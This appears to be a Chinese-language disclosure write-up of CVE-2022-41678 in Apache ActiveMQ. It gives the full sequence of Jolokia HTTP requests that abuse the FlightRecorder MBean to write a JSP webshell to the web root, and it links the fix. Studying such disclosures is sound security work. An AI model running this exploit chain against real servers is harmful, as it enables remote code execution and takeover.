Apache ActiveMQ Jolokia 远程代码执行漏洞(CVE-2022-41678)分析

ActiveMQ中,经过身份验证的用户默认情况下可以通过/api/jolokia/接口操作MBean,其中FlightRecorder可以被用于写Jsp WebShell,从而造成远程代码执行漏洞

FlightRecorder存在于Jdk 11+,具体类名:jdk.management.jfr.FlightRecorderMXBeanImpl

这个漏洞是我去年通过微步的X漏洞奖励计划提交的,今天看到已经被修复和公开了,就顺便写一下分析文章

影响范围

  • Apache ActiveMQ before 5.16.6
  • Apache ActiveMQ 5.17.0 before 5.17.4
  • Apache ActiveMQ 5.18.0 unaffected
  • Apache ActiveMQ 6.0.0 unaffected

漏洞分析

原理

漏洞入口在 http://localhost:8161/api/jolokia/ ,注意需要带上Origin头才可以访问

主要问题出在FlightRecorder这个Mbean,功能是记录内存,gc,调用栈等,漏洞用到的方法主要是以下几个

  • newRecording
    • 新建记录
  • setConfiguration
    • 更改配置
  • startRecording
    • 开始录制
  • stopRecording
    • 结束录制
  • copyTo
    • 导出录制文件

漏洞思路是通过setConfiguration修改配置,把一些键名改成jsp代码,记录的数据就会包含该jsp代码,录制完成后,通过copyTo导出到web目录即可

代码位置在 jdk.management.jfr.FlightRecorderMXBeanImpl#setConfiguration

拿到默认配置

调用setPredefinedConfiguration,断点停下来后可以拿到默认的配置,先保存下来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api/jolokia/ HTTP/1.1
Host: localhost:8161
Origin:localhost:8161
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Content-Type: application/json
Content-Length: 155

{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "setPredefinedConfiguration",
"arguments": [1,"s"]
}

新建记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api/jolokia/ HTTP/1.1
Host: localhost:8161
Origin:localhost:8161
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Content-Type: application/json
Content-Length: 136

{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "newRecording",
"arguments": []
}

记录的id 为 1,后面poc都要使用这个id

更改配置

将默认配置的如下处改为jsp代码,特殊字符需要实体编码

如下 arguments 的第一位参数是记录id,第二个参数是配置内容(很长,已省略)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api/jolokia/ HTTP/1.1
Host: localhost:8161
Origin:localhost:8161
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Content-Type: application/json
Content-Length: 31263

{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "setConfiguration",
"arguments": [1,"..."]
}

导出录制到web目录

开始录制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api/jolokia/ HTTP/1.1
Host: localhost:8161
Origin:localhost:8161
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Content-Type: application/json
Content-Length: 141

{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "startRecording",
"arguments": [1]
}

结束录制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api/jolokia/ HTTP/1.1
Host: localhost:8161
Origin:localhost:8161
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Content-Type: application/json
Content-Length: 138

{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "stopRecording",
"arguments": [1]
}

导出到web目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api/jolokia/ HTTP/1.1
Host: localhost:8161
Origin:localhost:8161
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Content-Type: application/json
Content-Length: 159

{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "copyTo",
"arguments": [1,"../webapps/admin/test.jsp"]
}

访问webshell

http://localhost:8161/admin/test.jsp

漏洞修复

https://github.com/apache/activemq/commit/6120169e5